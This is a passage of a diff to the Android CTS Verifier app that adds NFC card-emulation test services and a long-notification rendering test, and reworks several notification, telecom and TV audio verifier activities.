+    private class ScreenOnOffReceiver extends BroadcastReceiver {
+        @Override
+        public void onReceive(Context context, Intent intent) {
+            String action = intent.getAction();
+            if (action.equals(Intent.ACTION_SCREEN_OFF)) {
+                mState = STATE_SCREEN_OFF;
+            } else if (action.equals(Intent.ACTION_SCREEN_ON)) {
+                mState = STATE_SCREEN_ON;
+            }
+        }
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/ScreenOffPaymentService.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/ScreenOffPaymentService.java
new file mode 100644
index 0000000..9f562ca
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/ScreenOffPaymentService.java
@@ -0,0 +1,32 @@
+package com.android.cts.verifier.nfc.hce;
+
+import android.content.ComponentName;
+
+public class ScreenOffPaymentService extends HceService {
+    static final String TAG = "ScreenOffPaymentService";
+
+    static final ComponentName COMPONENT =
+            new ComponentName("com.android.cts.verifier",
+            ScreenOffPaymentService.class.getName());
+
+    public static final CommandApdu[] APDU_COMMAND_SEQUENCE = {
+        HceUtils.buildSelectApdu(HceUtils.PPSE_AID, true),
+        HceUtils.buildSelectApdu(HceUtils.MC_AID, true),
+        HceUtils.buildCommandApdu("80CA01F000", true)
+    };
+
+    public static final String[] APDU_RESPOND_SEQUENCE = {
+        "FFFF9000",
+        "FFEF9000",
+        "FFDFFFAABB9000"
+    };
+
+    public ScreenOffPaymentService() {
+        initialize(APDU_COMMAND_SEQUENCE, APDU_RESPOND_SEQUENCE);
+    }
+
+    @Override
+    public ComponentName getComponent() {
+        return COMPONENT;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/ScreenOnOnlyOffHostEmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/ScreenOnOnlyOffHostEmulatorActivity.java
new file mode 100644
index 0000000..b9ae298
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/ScreenOnOnlyOffHostEmulatorActivity.java
@@ -0,0 +1,45 @@
+package com.android.cts.verifier.nfc.hce;
+
+import android.annotation.TargetApi;
+import android.content.ComponentName;
+import android.content.Context;
+import android.content.Intent;
+import android.os.Bundle;
+
+import com.android.cts.verifier.R;
+import com.android.cts.verifier.nfc.NfcDialogs;
+
+public class ScreenOnOnlyOffHostEmulatorActivity extends BaseEmulatorActivity {
+    @Override
+    protected void onCreate(Bundle savedInstanceState) {
+        super.onCreate(savedInstanceState);
+        setContentView(R.layout.pass_fail_text);
+        setPassFailButtonClickListeners();
+        setupServices(this, ScreenOnOnlyOffHostService.COMPONENT);
+    }
+
+    @Override
+    protected void onResume() {
+        super.onResume();
+    }
+
+    @Override
+    void onServicesSetup(boolean result) {
+        NfcDialogs.createHceTapReaderDialog(this, getString(R.string.nfc_screen_on_only_offhost_help)).show();
+    }
+
+    public static Intent buildReaderIntent(Context context) {
+        Intent readerIntent = new Intent(context, SimpleReaderActivity.class);
+        readerIntent.putExtra(SimpleReaderActivity.EXTRA_APDUS,
+                ScreenOnOnlyOffHostService.APDU_COMMAND_SEQUENCE);
+        readerIntent.putExtra(SimpleReaderActivity.EXTRA_RESPONSES,
+                ScreenOnOnlyOffHostService.APDU_RESPOND_SEQUENCE);
+        readerIntent.putExtra(SimpleReaderActivity.EXTRA_LABEL,
+                context.getString(R.string.nfc_screen_on_only_offhost_reader));
+        return readerIntent;
+    }
+
+    @Override
+    void onApduSequenceComplete(ComponentName component, long duration) {
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/ScreenOnOnlyOffHostService.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/ScreenOnOnlyOffHostService.java
new file mode 100644
index 0000000..daebf69
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/hce/ScreenOnOnlyOffHostService.java
@@ -0,0 +1,17 @@
+package com.android.cts.verifier.nfc.hce;
+
+import android.content.ComponentName;
+
+public class ScreenOnOnlyOffHostService {
+    public static final ComponentName COMPONENT =
+            new ComponentName("com.android.cts.verifier",
+                    ScreenOnOnlyOffHostService.class.getName());
+
+    public static final CommandApdu[] APDU_COMMAND_SEQUENCE = {
+        HceUtils.buildSelectApdu("A000000476416E64726F696443545340", true),
+    };
+
+    public static final String[] APDU_RESPOND_SEQUENCE = {
+        "*",
+    };
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java
index 037dd7f..795028e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent1EmulatorActivity.java
@@ -29,6 +29,7 @@
 import android.nfc.NfcAdapter;
 import android.nfc.cardemulation.CardEmulation;
 import android.os.AsyncTask;
+import android.os.Build;
 import android.os.Bundle;
 import android.util.Log;
 import android.widget.TextView;
@@ -53,7 +54,11 @@
 
         setContentView(R.layout.pass_fail_text);
         setPassFailButtonClickListeners();
-        getPassButton().setEnabled(false);
+        if (Build.VERSION.SDK_INT > Build.VERSION_CODES.R) {
+            getPassButton().setEnabled(false);
+        } else {
+            getPassButton().setEnabled(true);
+        }
 
         mTextView = (TextView) findViewById(R.id.text);
         mTextView.setTextSize(12.0f);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java
index 6f257af..34a418b 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent2EmulatorActivity.java
@@ -29,6 +29,7 @@
 import android.nfc.NfcAdapter;
 import android.nfc.cardemulation.CardEmulation;
 import android.os.AsyncTask;
+import android.os.Build;
 import android.os.Bundle;
 import android.util.Log;
 import android.widget.TextView;
@@ -53,7 +54,11 @@
 
         setContentView(R.layout.pass_fail_text);
         setPassFailButtonClickListeners();
-        getPassButton().setEnabled(false);
+        if (Build.VERSION.SDK_INT > Build.VERSION_CODES.R) {
+            getPassButton().setEnabled(false);
+        } else {
+            getPassButton().setEnabled(true);
+        }
 
         mTextView = (TextView) findViewById(R.id.text);
         mTextView.setTextSize(12.0f);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java
index d79674d..6055ac4 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/nfc/offhost/UiccTransactionEvent3EmulatorActivity.java
@@ -29,6 +29,7 @@
 import android.nfc.NfcAdapter;
 import android.nfc.cardemulation.CardEmulation;
 import android.os.AsyncTask;
+import android.os.Build;
 import android.os.Bundle;
 import android.util.Log;
 import android.widget.TextView;
@@ -53,7 +54,11 @@
 
         setContentView(R.layout.pass_fail_text);
         setPassFailButtonClickListeners();
-        getPassButton().setEnabled(false);
+        if (Build.VERSION.SDK_INT > Build.VERSION_CODES.R) {
+            getPassButton().setEnabled(false);
+        } else {
+            getPassButton().setEnabled(true);
+        }
 
         mTextView = (TextView) findViewById(R.id.text);
         mTextView.setTextSize(12.0f);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
index aa5e9c0..121534a 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/InteractiveVerifierActivity.java
@@ -257,8 +257,8 @@
         return item;
     }
 
-    protected View createAutoItem(ViewGroup parent, int stringId) {
-        View item = mInflater.inflate(R.layout.nls_item, parent, false);
+    protected ViewGroup createAutoItem(ViewGroup parent, int stringId) {
+        ViewGroup item = (ViewGroup) mInflater.inflate(R.layout.nls_item, parent, false);
         TextView instructions = item.findViewById(R.id.nls_instructions);
         instructions.setText(stringId);
         View button = item.findViewById(R.id.nls_action_button);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MediaPlayerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MediaPlayerVerifierActivity.java
deleted file mode 100644
index eb6a681..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MediaPlayerVerifierActivity.java
+++ /dev/null
@@ -1,165 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-package com.android.cts.verifier.notifications;
-
-import android.app.Notification;
-import android.app.NotificationChannel;
-import android.app.NotificationManager;
-import android.content.Context;
-import android.graphics.Bitmap;
-import android.graphics.Canvas;
-import android.graphics.Color;
-import android.graphics.Rect;
-import android.media.MediaMetadata;
-import android.media.session.MediaSession;
-import android.media.session.PlaybackState;
-import android.os.Bundle;
-import android.view.View;
-import android.view.ViewGroup;
-
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-import java.util.ArrayList;
-import java.util.List;
-
-/**
- * Tests for media player shown in quick setting when media style notification is posted.
- */
-public class MediaPlayerVerifierActivity extends InteractiveVerifierActivity {
-
-    // Pieces of the media session.
-    private static final String SESSION_KEY = "Session";
-    private static final String SESSION_TITLE = "Song";
-    private static final String SESSION_ARTIST = "Artist";
-    private static final long SESSION_DURATION = 60000L;
-
-    // Pieces of the media style notification.
-    private static final String TITLE = "Media-style Notification";
-    private static final String TEXT = "Notification for a test media session";
-    private static final String CHANNEL_ID = "MediaPlayerVerifierActivity";
-
-    private MediaSession mSession;
-    private NotificationManager mManager;
-    private Notification.Builder mBuilder;
-
-    @Override
-    public List<InteractiveTestCase> createTestItems() {
-        List<InteractiveTestCase> cases = new ArrayList<>();
-        cases.add(new MediaPlayerTestCase(R.string.qs_media_player_song_and_artist));
-        cases.add(new MediaPlayerTestCase(R.string.qs_media_player_album_art));
-        cases.add(new MediaPlayerTestCase(R.string.qs_media_player_progress_bar));
-        cases.add(new MediaPlayerTestCase(R.string.qs_media_player_actions));
-        cases.add(new MediaPlayerTestCase(R.string.qs_media_player_output_switcher));
-        cases.add(new MediaPlayerTestCase(R.string.qs_media_player_compact_actions));
-        return cases;
-    }
-
-    @Override
-    public int getInstructionsResource() {
-        return R.string.qs_media_player_info;
-    }
-
-    @Override
-    public int getTitleResource() {
-        return R.string.qs_media_player_test;
-    }
-
-    private class MediaPlayerTestCase extends InteractiveTestCase {
-        private final int mDescriptionResId;
-
-        MediaPlayerTestCase(int resId) {
-            mDescriptionResId = resId;
-        }
-
-        @Override
-        protected void setUp() {
-            postMediaStyleNotification();
-            status = READY;
-        }
-
-        @Override
-        protected void tearDown() {
-            cancelMediaStyleNotification();
-        }
-
-        @Override
-        protected View inflate(ViewGroup parent) {
-            return createPassFailItem(parent, mDescriptionResId);
-        }
-
-        @Override
-        protected void test() {
-            status = WAIT_FOR_USER;
-            next();
-        }
-    }
-
-    private void postMediaStyleNotification() {
-        mManager = this.getSystemService(NotificationManager.class);
-        mSession = new MediaSession(this, SESSION_KEY);
-
-        // create a solid color bitmap to use as album art in media metadata
-        Bitmap bitmap = Bitmap.createBitmap(300, 300, Bitmap.Config.ARGB_8888);
-        new Canvas(bitmap).drawColor(Color.YELLOW);
-
-        // set up media session with metadata and playback state
-        mSession.setMetadata(new MediaMetadata.Builder()
-                .putString(MediaMetadata.METADATA_KEY_ARTIST, SESSION_ARTIST)
-                .putString(MediaMetadata.METADATA_KEY_TITLE, SESSION_TITLE)
-                .putLong(MediaMetadata.METADATA_KEY_DURATION, SESSION_DURATION)
-                .putBitmap(MediaMetadata.METADATA_KEY_ALBUM_ART, bitmap)
-                .build());
-        mSession.setPlaybackState(new PlaybackState.Builder()
-                .setState(PlaybackState.STATE_PAUSED, 6000L, 1f)
-                .setActions(PlaybackState.ACTION_SEEK_TO | PlaybackState.ACTION_PLAY |
-                        PlaybackState.ACTION_PAUSE)
-                .build());
-
-        // set up notification builder
-        NotificationChannel channel = new NotificationChannel(CHANNEL_ID, CHANNEL_ID,
-                NotificationManager.IMPORTANCE_LOW);
-        mManager.createNotificationChannel(channel);
-        mBuilder = new Notification.Builder(this, CHANNEL_ID)
-                .setContentTitle(TITLE).setContentText(TEXT)
-                .setSmallIcon(R.drawable.ic_android)
-                .setStyle(new Notification.MediaStyle()
-                        .setShowActionsInCompactView(1, 2, 3)
-                        .setMediaSession(mSession.getSessionToken()))
-                .setColor(Color.BLUE)
-                .setColorized(true)
-                .addAction(android.R.drawable.ic_media_rew, "rewind", null)
-                .addAction(android.R.drawable.ic_media_previous, "previous track", null)
-                .addAction(android.R.drawable.ic_media_pause, "pause", null)
-                .addAction(android.R.drawable.ic_media_next, "next track", null)
-                .addAction(android.R.drawable.ic_media_ff, "fast forward", null);
-
-        mSession.setActive(true);
-        mManager.notify(1, mBuilder.build());
-    }
-
-    private void cancelMediaStyleNotification() {
-        if (mSession != null) {
-            mSession.release();
-            mSession = null;
-        }
-        if (mManager != null) {
-            mManager.cancelAll();
-            mManager.deleteNotificationChannel(CHANNEL_ID);
-            mManager = null;
-        }
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java
index 12e2b93..31980af 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/MockListener.java
@@ -51,7 +51,7 @@
     public static final String JSON_STATS = "stats";
     public static final String JSON_LAST_AUDIBLY_ALERTED = "last_audibly_alerted";
 
-    ArrayList<String> mPosted = new ArrayList<String>();
+    ArrayList<StatusBarNotification> mPosted = new ArrayList<>();
     ArrayMap<String, JSONObject> mNotifications = new ArrayMap<>();
     ArrayMap<String, String> mNotificationKeys = new ArrayMap<>();
     ArrayList<String> mRemoved = new ArrayList<String>();
@@ -77,6 +77,15 @@
         return mNotifications.values();
     }
 
+    protected StatusBarNotification getPosted(String tag) {
+        for (StatusBarNotification sbn : mPosted) {
+            if (sbn.getTag().equals(tag)) {
+                return sbn;
+            }
+        }
+        return null;
+    }
+
     protected String getKeyForTag(String tag) {
         return mNotificationKeys.get(tag);
     }
@@ -149,7 +158,7 @@
     public void onNotificationPosted(StatusBarNotification sbn, RankingMap rankingMap) {
         if (!mTestPackages.contains(sbn.getPackageName())) { return; }
         Log.d(TAG, "posted: " + sbn.getTag());
-        mPosted.add(sbn.getTag());
+        mPosted.add(sbn);
         mPostedNotifications.add(sbn.getNotification());
         JSONObject notification = new JSONObject();
         try {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
index 42ee9e1..1d704b0 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/notifications/NotificationListenerVerifierActivity.java
@@ -56,6 +56,8 @@
 import android.view.View;
 import android.view.ViewGroup;
 import android.widget.Button;
+import android.widget.FrameLayout;
+import android.widget.RemoteViews;
 
 import androidx.core.app.NotificationCompat;
 
@@ -117,6 +119,7 @@
         tests.add(new IsEnabledTest());
         tests.add(new ServiceStartedTest());
         tests.add(new NotificationReceivedTest());
+        tests.add(new LongMessageTest());
         tests.add(new DataIntactTest());
         tests.add(new AudiblyAlertedTest());
         tests.add(new DismissOneTest());
@@ -261,8 +264,73 @@
 
         @Override
         protected void test() {
-            List<String> result = new ArrayList<>(MockListener.getInstance().mPosted);
-            if (result.size() > 0 && result.contains(mTag1)) {
+            if (MockListener.getInstance().getPosted(mTag1) != null) {
+                status = PASS;
+            } else {
+                logFail();
+                status = FAIL;
+            }
+        }
+    }
+
+    private class LongMessageTest extends InteractiveTestCase {
+        private ViewGroup mParent;
+        @Override
+        protected View inflate(ViewGroup parent) {
+            mParent = createAutoItem(parent, R.string.nls_anr);
+            return mParent;
+        }
+
+        @Override
+        protected void setUp() {
+            createChannels();
+            StringBuilder sb = new StringBuilder();
+            for (int i = 0; i < 20000; i++) {
+                sb.append("\u2009\u200a" + "\u200E\u200F" + "stuff");
+            }
+            Notification.Builder builder = new Notification.Builder(
+                    mContext, NOTIFICATION_CHANNEL_ID)
+                    .setSmallIcon(android.R.id.icon)
+                    .setContentTitle("This is an long notification")
+                    .setContentText("Innocuous content")
+                    .setStyle(new Notification.MessagingStyle("Fake person")
+                            .addMessage("hey how is it goin", 0, "Person 1")
+                            .addMessage("hey", 0, "Person 1")
+                            .addMessage("u there", 0, "Person 1")
+                            .addMessage("how you like tHIS", 0, "Person 1")
+                            .addMessage(sb.toString(), 0, "Person 1")
+                    );
+            mTag1 = UUID.randomUUID().toString();
+            mId1 = NOTIFICATION_ID + 1;
+            mPackageString = "com.android.cts.verifier";
+            mNm.notify(mTag1, mId1, builder.build());
+            status = READY;
+        }
+
+        @Override
+        protected void tearDown() {
+            mNm.cancelAll();
+            MockListener.getInstance().resetData();
+            deleteChannels();
+        }
+
+        @Override
+        protected void test() {
+            StatusBarNotification sbn = MockListener.getInstance().getPosted(mTag1);
+            if (sbn == null) {
+                logFail();
+                status = FAIL;
+            } else {
+                ViewGroup parent = mParent.findViewById(R.id.feedback);
+                parent.setVisibility(View.VISIBLE);
+                final Notification.Builder recoveredBuilder = Notification.Builder.recoverBuilder(
+                        NotificationListenerVerifierActivity.this,
+                        sbn.getNotification());
+                RemoteViews rv = recoveredBuilder.createContentView();
+                View v = rv.apply(NotificationListenerVerifierActivity.this, parent);
+                parent.addView(v);
+            }
+            if (MockListener.getInstance().getPosted(mTag1) != null) {
                 status = PASS;
             } else {
                 logFail();
@@ -985,8 +1053,7 @@
             if (MockListener.getInstance() == null) {
                 status = PASS;
             } else {
-                List<String> result = new ArrayList<>(MockListener.getInstance().mPosted);
-                if (result.size() == 0) {
+                if (MockListener.getInstance().mPosted.size() == 0) {
                     status = PASS;
                 } else {
                     logFail();
@@ -1157,8 +1224,7 @@
                     state = READY_TO_CHECK_FOR_UNSNOOZE;
                 }
             } else {
-                List<String> result = new ArrayList<>(MockListener.getInstance().mPosted);
-                if (result.size() > 0 && result.contains(mTag1)) {
+                if (MockListener.getInstance().getPosted(mTag1) != null) {
                     status = PASS;
                 } else {
                     logFail();
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/os/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/os/OWNERS
index a72093f..827908f 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/os/OWNERS
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/os/OWNERS
@@ -19,4 +19,4 @@
 surbhikadam@google.com
 ttarsenal@google.com
 yeabkal@google.com
-yfz@google.com
\ No newline at end of file
+yfz@google.com
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS b/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS
new file mode 100644
index 0000000..4241b61
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/security/OWNERS
@@ -0,0 +1,6 @@
+# Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204 = per-file: CA*.java, Ca*.java, KeyChainTest.java
+# Bug template url: https://b.corp.google.com/issues/new?component=100560&template=63204 = per-file: LockConfirmBypassTest.java, SetNewPasswordComplexityTest.java
+# Bug component: 189335 = per-file: FingerprintBoundKeysTest.java, IdentityCredentialAuthentication.java, ProtectedConfirmationTest.java, ScreenLockBoundKeysTest.java
+per-file CA*.java, Ca*.java, KeyChainTest.java = alexkershaw@google.com, eranm@google.com, rubinxu@google.com, sandness@google.com, pgrafov@google.com
+per-file LockConfirmBypassTest.java, SetNewPasswordComplexityTest.java = alexkershaw@google.com, eranm@google.com, rubinxu@google.com, sandness@google.com, pgrafov@google.com
+per-file FingerprintBoundKeysTest.java, IdentityCredentialAuthentication.java, ProtectedConfirmationTest.java, ScreenLockBoundKeysTest.java = swillden@google.com
\ No newline at end of file
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/streamquality/StreamingVideoActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/streamquality/StreamingVideoActivity.java
index df2bec0..30e665c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/streamquality/StreamingVideoActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/streamquality/StreamingVideoActivity.java
@@ -116,6 +116,8 @@
             "&signature=%s";
 
     private static final Stream[] HTTP_STREAMS = {
+        // TODO(b/150835350): Re-enable H263 test once the clip is updated to profile 0
+        /*
         new Stream("H263 Video, AMR Audio", "http_h263_amr",
                 "http://redirector.gvt1.com/"
                 + "videoplayback?id=271de9756065677e"
@@ -125,6 +127,7 @@
                 + ".1DDA3F999541D2136E6755F16FC44CA972767169"
                 + "&source=youtube"
                 + "&key=ik0&user=android-device-test"),
+        */
         new Stream("MPEG4 SP Video, AAC Audio", "http_mpeg4_aac",
                 "http://redirector.gvt1.com/"
                 + "videoplayback?id=271de9756065677e"
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/PhoneAccountUtils.java b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/PhoneAccountUtils.java
index dee09d0..7b8d04e 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/telecom/PhoneAccountUtils.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/telecom/PhoneAccountUtils.java
@@ -19,6 +19,7 @@
 import android.content.ComponentName;
 import android.content.Context;
 import android.net.Uri;
+import android.os.Bundle;
 import android.telecom.PhoneAccount;
 import android.telecom.PhoneAccountHandle;
 import android.telecom.TelecomManager;
@@ -51,10 +52,18 @@
             new PhoneAccountHandle(new ComponentName(
                     PassFailButtons.class.getPackage().getName(),
                     CtsConnectionService.class.getName()), TEST_SELF_MAANGED_PHONE_ACCOUNT_ID);
+    public static final Bundle TEST_SELF_MANAGED_PHONE_ACCOUNT_EXTRA;
+    static {
+        TEST_SELF_MANAGED_PHONE_ACCOUNT_EXTRA = new Bundle();
+        TEST_SELF_MANAGED_PHONE_ACCOUNT_EXTRA.putBoolean(
+                PhoneAccount.EXTRA_ADD_SELF_MANAGED_CALLS_TO_INCALLSERVICE, true);
+    }
+
     public static final PhoneAccount TEST_SELF_MANAGED_PHONE_ACCOUNT = new PhoneAccount.Builder(
             TEST_SELF_MANAGED_PHONE_ACCOUNT_HANDLE, TEST_SELF_MANAGED_PHONE_ACCOUNT_LABEL)
             .setAddress(TEST_SELF_MANAGED_PHONE_ACCOUNT_ADDRESS)
             .setCapabilities(PhoneAccount.CAPABILITY_SELF_MANAGED)
+            .setExtras(TEST_SELF_MANAGED_PHONE_ACCOUNT_EXTRA)
             .build();
 
     public static final String TEST_SELF_MAANGED_PHONE_ACCOUNT2_ID = "selfMgdTest2";
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/AudioCapabilitiesTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/AudioCapabilitiesTestActivity.java
index 229ce0a..4f8a825 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/AudioCapabilitiesTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/tv/audio/AudioCapabilitiesTestActivity.java
@@ -21,6 +21,7 @@
 import android.media.AudioAttributes;
 import android.media.AudioFormat;
 import android.media.AudioTrack;
+import android.view.View;
 
 import com.android.cts.verifier.R;
 import com.android.cts.verifier.tv.TestSequence;
@@ -46,23 +47,25 @@
  *   <li>Receiver or soundbar is connected
  * </ol>
  */
-public class AudioCapabilitiesTestActivity extends TvAppVerifierActivity {
-    private static final ImmutableList<AudioFormat> TESTED_AUDIO_FORMATS =
+public class AudioCapabilitiesTestActivity extends TvAppVerifierActivity
+        implements View.OnClickListener {
+
+    private final ImmutableList<AudioFormat> ATMOS_FORMATS =
             ImmutableList.of(
-                    // PCM formats
-                    makeAudioFormat(ENCODING_PCM_16BIT, 44100, 6),
-                    makeAudioFormat(ENCODING_PCM_16BIT, 44100, 8),
+                    // EAC3_JOC formats - ignoring channel count for Atmos
+                    makeAudioFormat(ENCODING_E_AC3_JOC, 44100, 1),
+                    makeAudioFormat(ENCODING_E_AC3_JOC, 44100, 2),
+                    makeAudioFormat(ENCODING_E_AC3_JOC, 44100, 3),
+                    makeAudioFormat(ENCODING_E_AC3_JOC, 44100, 4),
+                    makeAudioFormat(ENCODING_E_AC3_JOC, 44100, 5),
+                    makeAudioFormat(ENCODING_E_AC3_JOC, 44100, 6),
+                    makeAudioFormat(ENCODING_E_AC3_JOC, 44100, 7),
+                    makeAudioFormat(ENCODING_E_AC3_JOC, 44100, 8));
 
-                    // AC3 formats
-                    makeAudioFormat(ENCODING_AC3, 44100, 6),
-                    makeAudioFormat(ENCODING_AC3, 44100, 8),
-
-                    // EAC3_JOC formats
-                    makeAudioFormat(ENCODING_E_AC3_JOC, 44100, 8),
-                    // EAC3 formats
-                    makeAudioFormat(ENCODING_E_AC3, 44100, 8));
 
     private TestSequence mTestSequence;
+    private View mSupportDolbyAtmosYesItem;
+    private View mSupportDolbyAtmosNoItem;
 
     @Override
     protected void setInfoResources() {
@@ -71,16 +74,40 @@
     }
 
     @Override
+    public void onClick(View v) {
+        if (containsButton(mSupportDolbyAtmosYesItem, v)) {
+            setPassState(mSupportDolbyAtmosYesItem, true);
+            setButtonEnabled(mSupportDolbyAtmosNoItem, false);
+            List<TestStepBase> testSteps = new ArrayList<>();
+            testSteps.add(new TvTestStep(this));
+            testSteps.add(new ReceiverTestStep(this));
+            testSteps.add(new TvTestStep(this));
+            mTestSequence = new TestSequence(this, testSteps);
+            mTestSequence.init();
+            return;
+        } else if (containsButton(mSupportDolbyAtmosNoItem, v)) {
+            setPassState(mSupportDolbyAtmosYesItem, true);
+            setButtonEnabled(mSupportDolbyAtmosNoItem, false);
+            List<TestStepBase> testSteps = new ArrayList<>();
+            testSteps.add(new TvTestStep(this));
+            mTestSequence = new TestSequence(this, testSteps);
+            mTestSequence.init();
+            return;
+        }
+    }
+
+    @Override
     protected void createTestItems() {
-        List<TestStepBase> testSteps = new ArrayList<>();
-        testSteps.add(new TvTestStep(this));
-        testSteps.add(new ReceiverTestStep(this));
-        testSteps.add(new TvTestStep(this));
-        mTestSequence = new TestSequence(this, testSteps);
-        mTestSequence.init();
+        mSupportDolbyAtmosYesItem =
+                createUserItem(
+                        R.string.tv_audio_capabilities_atmos_supported, R.string.tv_yes, this);
+        setButtonEnabled(mSupportDolbyAtmosYesItem, true);
+        mSupportDolbyAtmosNoItem = createButtonItem(R.string.tv_no, this);
+        setButtonEnabled(mSupportDolbyAtmosNoItem, true);
     }
 
     private class TvTestStep extends TestStep {
+
         public TvTestStep(TvAppVerifierActivity context) {
             super(
                     context,
@@ -96,24 +123,37 @@
                             .setContentType(AudioAttributes.CONTENT_TYPE_MUSIC)
                             .build();
 
-            ImmutableList.Builder<String> actualAudioFormatStrings = ImmutableList.builder();
-            for (AudioFormat audioFormat : TESTED_AUDIO_FORMATS) {
+            getAsserter()
+                    .withMessage("AudioTrack.isDirectPlaybackSupported is expected to return true"
+                            + " for PCM16 2 channel")
+                    .that(AudioTrack.isDirectPlaybackSupported(makeAudioFormat(ENCODING_PCM_16BIT, 44100, 2), audioAttributes))
+                    .isTrue();
+
+            getAsserter()
+                    .withMessage("AudioTrack.isDirectPlaybackSupported is expected to return false "
+                            + "for EAC3 6 channel")
+                    .that(AudioTrack.isDirectPlaybackSupported(makeAudioFormat(ENCODING_E_AC3, 44100, 6), audioAttributes))
+                    .isFalse();
+
+            ImmutableList.Builder<String> actualAtmosFormatStrings = ImmutableList.builder();
+            for (AudioFormat audioFormat : ATMOS_FORMATS) {
                 if (AudioTrack.isDirectPlaybackSupported(audioFormat, audioAttributes)) {
-                    actualAudioFormatStrings.add(toStr(audioFormat));
+                    actualAtmosFormatStrings.add(toStr(audioFormat));
                 }
             }
 
+            // check that Atmos should not be supported
             getAsserter()
-                    .withMessage("AudioTrack.isDirectPlaybackSupported only returns true for these")
-                    .that(actualAudioFormatStrings.build())
-                    .containsExactlyElementsIn(
-                            ImmutableList.of(
-                                    toStr(makeAudioFormat(ENCODING_PCM_16BIT, 44100, 6)),
-                                    toStr(makeAudioFormat(ENCODING_AC3, 44100, 6))));
+                    .withMessage(
+                            "AudioTrack.isDirectPlaybackSupported is expected to return false for"
+                                + " EAC3_JOC")
+                    .that(actualAtmosFormatStrings.build())
+                    .isEmpty();
         }
     }
 
     private class ReceiverTestStep extends TestStep {
+
         public ReceiverTestStep(TvAppVerifierActivity context) {
             super(
                     context,
@@ -129,33 +169,52 @@
                             .setContentType(AudioAttributes.CONTENT_TYPE_MUSIC)
                             .build();
 
-            ImmutableList.Builder<String> actualAudioFormatStrings = ImmutableList.builder();
